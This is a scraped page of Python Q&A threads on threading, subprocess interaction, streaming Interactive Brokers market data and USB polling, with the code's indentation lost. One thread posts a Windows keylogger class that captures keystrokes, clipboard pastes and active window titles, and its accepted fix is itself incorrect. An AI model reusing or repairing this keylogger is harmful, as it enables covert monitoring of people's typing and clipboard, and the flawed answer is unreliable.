how to pass a function to a tuple from a thread - python

My questions are interlaced within my code:
#!/usr/bin/python
import threading
import logging, logging.handlers
import hpclib
import json
import time
from datetime import datetime
from features import *
import sys
if len(sys.argv) != 3:
print "Please provide the correct inputs"
print "Usage: rest_test.py <controllerip> <counter>"
sys.exit()
controller = sys.argv[1]
counter = int(sys.argv[2])
class FuncThread(threading.Thread):
def __init__(self, target, *args):
self._target = target
self._args = args
threading.Thread.__init__(self)
def run(self):
self._target(*self._args)
def datapath_thread(ipaddress, testlogfile,count):
#initialize logging system
testlogger = logging.getLogger("testlogger")
testlogger.setLevel(logging.DEBUG)
file = open(testlogfile,'w')
file.close()
# This handler writes everything to a file.
h1 = logging.FileHandler(testlogfile)
f = logging.Formatter("%(levelname)s %(asctime)s %(funcName)s %(lineno)d %(message)s")
h1.setFormatter(f)
h1.setLevel(logging.DEBUG)
testlogger.addHandler(h1)
mylib = hpclib.hpclib(ipaddress)
success_count = 0
failure_count = 0
for i in range(count):
t1=datetime.now()
try:
(code, val) = datapaths.listDatapaths(mylib)
I want to pass this function datapaths.listDatapaths(mylib) as a argument from a thread below, something like (code,val)=functionname
if code == 200:
success_count +=1
else:
testlogger.debug("Return Code other than 200 received with code = %d, value = %s"%(code,val))
failure_count +=1
except:
failure_count += 1
testlogger.debug ("Unexpected error: %s"%sys.exc_info()[0])
continue
t2=datetime.now()
diff=t2-t1
testlogger.debug('RETURN code: %d. Time taken in sec = %s,Iteration = %d, Success = %d, Failure = %d'%(code,diff.seconds,i+1,success_count,failure_count))
time.sleep(1)
testlogger.removeHandler(h1)
# Passing ipadress of controller and log file name
t1 = FuncThread(datapath_thread, controller, "datapaths.log",counter)
Here I would like to pass function name as one of the argument,something like t1 = FuncThread(datapath_thread, controller, datapaths.listDatapaths(mylib),"datapaths.log",counter)
t1.start()
t1.join()
I have many functions to call like this,so want a easy way to call all the functions from one single function using many threads

Firstly, FuncThread is not very useful - FuncThread(func, *args) can be spelt Thread(target=lambda: func(*args)) or Thread(target=func, args=args).
You're pretty close - instead of passing in the result of calling the function, pass in the function itself
def datapath_thread(ipaddress, test_func, testlogfile, count):
# ...
for i in range(count):
# ...
try:
(code, val) = test_func(mylib)
#...
thread = Thread(target=datapath_thread, args=(
controller,
datapaths.listDatapaths,
"datapaths.log",
counter
))

Related

missing two required positional arguments for a function in python

been looking around and couldn't seem to find the answer i was looking, sorry if this is a poorly phrased question
the code is
import ctypes
import ctypes.wintypes
from io import StringIO
from multiprocessing import Value
import os
import pythoncom
import pyWinhook as pyhook
import sys
import time
import win32clipboard
TIMEOUT = 60*10
class keyloggerz:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = ctypes.windll.user32.GetForegroundWindow()
pid = ctypes.c_ulong(0)
ctypes.windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
process_id = f'{pid.value}'
executable = ctypes.create_string_buffer(512)
h_process = ctypes.windll.kernel32.OpenProcess(0x400|0x10, False, pid)
ctypes.windll.psapi.GetModuleBaseNameA(h_process, None, ctypes.byref(executable), 512)
window_title = ctypes.create_string_buffer(512)
ctypes.windll.user32.GetWindowTextA(hwnd, ctypes.byref(window_title), 512)
try:
self.current_window = window_title.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unkown')
print('\n', process_id, executable.value.decode(), self.current_window)
ctypes.windll.kernel32.CloseHandle(hwnd)
ctypes.windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.key}')
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = keyloggerz
hm = pyhook.HookManager
hm.KeyDown = kl.mykeystroke()
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
print(run())
print('done.')
on running it comes up with the error:
TypeError: keyloggerz.mykeystroke() missing 2 required positional arguments: 'self' and 'event'
any sort of help would be appreciated
Your problem starts with the instantiation of keyloggerz:
kl = keyloggerz
It should be:
kl = keyloggerz()
The main problem is two lines below, in:
hm.KeyDown = kl.mykeystroke()
If you look at the definition for keyloggerz.mykeystroke(), you see that it takes 2 parameters:
def mykeystroke(self, event):
...
So, when you call the function, you need to pass in the event parameter:
hm.KeyDown = kl.mykeystroke(event)
When you call a method, the first parameter is automatically passed the class instance object, usually called self. Therefore, when you call it via kl.mykeystroke(event), it is in reality calling keyloggerz.mykeystroke(kl, event). Because you didn't instantiate the class at the beginning, your function call was basically keyloggerz.mykeystroke(), which was missing both the self and event parameters.

python interactive subprocess communicate

I am trying to learn how to write interactive subprocess communication.
I need to read stdout from and write to stdin continually, below is my code, it sort of "works" but I am not sure if I am doing it right (it's very hacked code)
Assuming I have a script called app.py as following
import logging
import random
def app():
number1 = random.randint(1,100)
number2 = random.randint(200,500)
logging.info("number1: %s, number2: %s", number1, number2)
ans = input("enter sum of {} and {}: ".format(number1, number2))
logging.info("received answer: %s", ans)
try:
if int(ans) != number1+number2:
raise ValueError
logging.info("{} is the correct answer".format(ans))
except (ValueError,TypeError):
logging.info("{} is incorrect answer".format(ans))
def main():
logging.basicConfig(level=logging.DEBUG, filename='log.log')
for x in range(10):
app()
if __name__ == '__main__':
main()
to interactive with above script (app.py) I have some very ugly code
import queue
import time
import threading
import subprocess
import os
import pty
import re
class ReadStdout(object):
def __init__(self):
self.queue = queue.Queue()
self._buffer_ = []
def timer(self, timeout=0.1):
buffer_size = 0
while True:
if len(self._buffer_) > buffer_size:
buffer_size = len(self._buffer_)
time.sleep(timeout)
if len(self._buffer_) == buffer_size and buffer_size!=0:
self.queue.put(''.join(self._buffer_))
self._buffer_ = []
buffer_size = 0
def read(self, fd):
while True:
self._buffer_.append(fd.read(1))
def run(self):
timer = threading.Thread(target=self.timer)
timer.start()
master, slave = pty.openpty()
p = subprocess.Popen(['python', 'app.py'], stdout=slave, stderr=slave, stdin=subprocess.PIPE, close_fds=True)
stdout = os.fdopen(master)
read_thread = threading.Thread(target=self.read, args=(stdout,))
read_thread.start()
while True:
if self.queue.empty():
time.sleep(0.1)
continue
msg = self.queue.get()
digits = (re.findall('(\d+)', msg))
ans = (int(digits[0])+int(digits[1]))
print("got message: {} result: {}".format(msg, ans))
p.stdin.write(b"%d\n" %ans)
p.stdin.flush()
if __name__ == '__main__':
x = ReadStdout()
x.run()
I don't feel I am doing it the right way. what's the correct way to interactive with another script (I need stdout, not just blind write to stdin)
Thanks
This code will work with your app.py, so you can get base logic of interaction from it. Also, i would suggest you to look into pexpect module. In any case - you MUST know what to expect from running program and how it's input lines endswith. Or you could implement some timeout while reading line, so it would be possible to raise exception if something went not as expected.
import subprocess
from functools import partial
child = subprocess.Popen(['app.py'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True)
# iterate while child is not terminated
while child.poll() is None:
line = ''
# read stdout character by character until a colon appears
for c in iter(partial(child.stdout.read, 1), ''):
if c == ':':
break
line += c
if "enter sum" in line:
numbers = filter(str.isdigit, line.split())
numbers = list(map(int, numbers))
child.stdin.write("{0}\n".format(sum(numbers)))

Script doesn't print to console in real time [PYTHON]

I am testing how to receive real time data through interactive brokers' API and reqMktData. The algorithm is run through an infinite while loop, which allows for real-time live streaming data until I stop the script.
When I run it, it is supposed to continuously print data to the console as specified in the code below. However, nothing is printed until I hit "stop the current command". Then I get a huge data dump consisting of all the data received since the execution of the script.
I have tried the following solution, where I import sys in the beginning of the script and flush the output after each print. However, this doesn't work either:
import sys
sys.stdout.flush()
I'm using python 2.7 and spyder - and am quite new to python.
Hope someone can help! Any inputs are greatly appreciated.
The script I'm testing:
from ib.ext.Contract import Contract
from ib.ext.Order import Order
from ib.opt import Connection, message
import pandas as pd
import datetime as dt
class AlgoSystem:
def __init__(self, symbol, qty, resample_interval,
averaging_period=5, port=7496):
self.client_id = 1
self.order_id = 1
self.qty = qty
self.symbol_id, self.symbol = 0, symbol
self.resample_interval = resample_interval
self.averaging_period = averaging_period
self.port = port
self.tws_conn = None
self.bid_price, self.ask_price = 0, 0
self.last_prices = pd.DataFrame(columns=[self.symbol_id])
self.average_price = 0
self.account_code = None
def error_handler(self, msg):
if msg.typeName == "error" and msg.id != -1:
print "Server Error:", msg
def tick_event(self, msg):
if msg.field == 1:
self.bid_price = msg.price
elif msg.field == 2:
self.ask_price = msg.price
elif msg.field == 4:
self.last_prices.loc[dt.datetime.now()] = msg.price
resampled_prices = \
self.last_prices.resample(self.resample_interval,
how='last',
fill_method="ffill")
self.average_price = resampled_prices.tail(
self.averaging_period).mean()[0]
print dt.datetime.now(), "average:", self.average_price, \
"bid:", self.bid_price, "ask:", self.ask_price
def create_contract(self, symbol, sec_type, exch, prim_exch, curr):
contract = Contract()
contract.m_symbol = symbol
contract.m_secType = sec_type
contract.m_exchange = exch
contract.m_primaryExch = prim_exch
contract.m_currency = curr
return contract
def request_market_data(self, symbol_id, symbol):
contract = self.create_contract(symbol,
'STK',
'SMART',
'SMART',
'USD')
self.tws_conn.reqMktData(symbol_id, contract, '', False)
time.sleep(1)
def cancel_market_data(self, symbol):
self.tws_conn.cancelMktData(symbol)
time.sleep(1)
def connect_to_tws(self):
self.tws_conn = Connection.create(port=self.port,
clientId=self.client_id)
self.tws_conn.connect()
def disconnect_from_tws(self):
if self.tws_conn is not None:
self.tws_conn.disconnect()
def register_callback_functions(self):
# Assign error handling function.
self.tws_conn.register(self.error_handler, 'Error')
# Register market data events.
self.tws_conn.register(self.tick_event,
message.tickPrice,
message.tickSize)
def start(self):
try:
self.connect_to_tws()
self.register_callback_functions()
self.request_market_data(self.symbol_id, self.symbol)
while True:
time.sleep(1)
except Exception, e:
print "Error:", e
self.cancel_market_data(self.symbol)
finally:
print "disconnected"
self.disconnect_from_tws()
if __name__ == "__main__":
system = AlgoSystem("FB", 100, "30s", 5)
system.start()
I don't know anything about the interactive brokers API, but my guess is that your start method needs to be changed to something along the lines of :
def start(self):
try:
self.connect_to_tws()
self.register_callback_functions()
while True:
self.request_market_data(self.symbol_id, self.symbol)
time.sleep(1)
except Exception, e:
print "Error:", e
self.cancel_market_data(self.symbol)
finally:
print "disconnected"
self.disconnect_from_tws()
currently your infinite loop just repeatedly sleeps. I think you want the request_market_data to be inside the while loop.

How to communicate with multiple servers using the single class defined in python and run it parallel

I have a python class that communicates with a server. That python class has many functions, i was using few functions. But i want to access multiple servers data at same time using the python class i have.
Am trying something like this, but it'll run one after the other. And i wanted to get the data at same time.
import threading
from server_class import server
class runMonitor(threading.Thread):
def __init__(self,func):
self.func = func
threading.Thread.__init__(self)
def run(self):
self.func()
def monitorSB(ipAddr):
sb = server(ipAddr)
sb.readInfo()
print ('\nReading Registers...\n')
sb.read_rx()
sb.read_tx()
i = 0
while(1):
if i == 0:
print 'Monitoring Registers...'
i = 1
sb.monitor_tx()
sb.monitor_rx()
t = runMonitor(monitorSB('192.168.10.78'))
q = runMonitor(monitorSB('192.168.10.101'))
t.start()
q.start()
print ('\nTest Done...\n')
In the above code, i wanted to access both servers at same time. Help me how to run in parallel
The thing is by saying monitorSB('192.168.10.78') it will execute it before passing it to your thread. Try this:
import threading
from server_class import server
class runMonitor(threading.Thread):
def __init__(self,func, param):
self.func = func
self.param = param
threading.Thread.__init__(self)
def run(self):
self.func(self.param)
def monitorSB(ipAddr):
sb = server(ipAddr)
sb.readInfo()
print ('\nReading Registers...\n')
sb.read_rx()
sb.read_tx()
i = 0
while(1):
if i == 0:
print 'Monitoring Registers...'
i = 1
sb.monitor_tx()
sb.monitor_rx()
t = runMonitor(monitorSB, '192.168.10.78')
q = runMonitor(monitorSB, '192.168.10.101')
t.start()
q.start()
print ('\nTest Done...\n')

Stop a python thread from destructor

I am somewhat new to Python programming. I am trying to make a script which will continously read a USB device in a separate thread (as this class will be imported into some GUI apps) using a dll, If there are any data it will call the callback function.
My problem is I want to stop the thread using the destructor and I am not sure about other better design to do it? Could any body please point me out if there are better methods?
My design is planned where my class can be imported and then, call the run through start, once the last object is destroyed the thread stops.
# -*- coding: utf-8 -*-
import ctypes
import threading
import time
USB_VENDOR_ID = 0x23ef
USB_PRODUCT_ID = 0x0001
class usb_dev_comm(threading.Thread):
def __init__(self, callback_fun):
self.hidDll = ctypes.WinDLL("AtUsbHid.dll")
self.usb_dev_connected = 0
self.usb_stopall = 0
self.callback = callback_fun
return
def usb_dev_present(self):
self.res = self.hidDll.findHidDevice(USB_VENDOR_ID, USB_PRODUCT_ID)
if (self.res == True):
self.usb_dev_connected = 1
else:
self.usb_dev_connected = 0
return self.res
def usb_dev_tx(self,data):
self.res = self.hidDll.writeData(data)
return self.res
def usb_dev_rx(self):
data = 0
result = self.hidDll.readData(data)
if (result == False):
return False
else:
return data
def run(self):
while 1:
self.usb_dev_present()
print self.usb_dev_connected
if(self.usb_dev_connected):
data_rx = self.usb_dev_rx()
print data_rx
#time.sleep(0.001)
time.sleep(1)
def __del__(self):
print "del:cleanup required"
#TODO
if __name__ == "__main__":
def data_print(data):
print data
device = usb_dev_comm(data_print)
result = device.run()
print result
print device.usb_dev_connected
I tried introducing
def run(self):
while self.stop_thread:
self.usb_dev_present()
print self.usb_dev_connected
if(self.usb_dev_connected):
data_rx = self.usb_dev_rx()
print data_rx
#time.sleep(0.001)
time.sleep(1)
def __del__(self):
self.stop_thread = 1
print "del:cleanup required"
#TODO
But this is not working as I think this leads to chicken and egg problem

Categories

Resources